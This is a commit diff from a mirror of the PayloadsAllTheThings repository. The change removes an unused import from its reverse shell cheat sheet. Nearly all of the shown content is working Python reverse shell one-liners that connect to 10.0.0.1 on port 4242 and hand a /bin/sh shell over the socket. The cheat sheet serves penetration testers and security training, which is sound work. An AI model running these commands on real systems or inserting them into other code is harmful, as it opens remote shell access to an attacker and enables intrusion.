~rek2/PayloadsAllTheThings

3366f5eaac5ab0782bbbb01041fc932c79aefd9e — Swissky 2 months ago a6eac59 + 4207479
Merge pull request #445 from NirLevy98/reverse_shell_delete-unused-imports

Delete unused import
1 files changed, 1 insertions(+), 1 deletions(-)

M Methodology and Resources/Reverse Shell Cheatsheet.md
M Methodology and Resources/Reverse Shell Cheatsheet.md => Methodology and Resources/Reverse Shell Cheatsheet.md +1 -1
@@ 93,7 93,7 @@ Linux only

IPv4
```python
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```
```python
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'